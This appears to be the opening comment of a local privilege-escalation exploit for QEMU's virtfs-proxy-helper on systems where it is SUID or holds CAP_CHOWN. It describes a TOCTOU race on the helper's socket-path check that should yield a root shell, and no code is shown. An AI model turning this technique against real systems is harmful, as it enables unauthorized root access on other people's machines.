*
* Some distributions make virtfs-proxy-helper from QEMU either SUID or
* give it CAP_CHOWN fs capabilities. This is a terrible idea. While
* virtfs-proxy-helper makes some sort of flimsy check to make sure
* its socket path doesn't already exist, it is vulnerable to TOCTOU.
*
* This should spawn a root shell eventually on vulnerable systems.
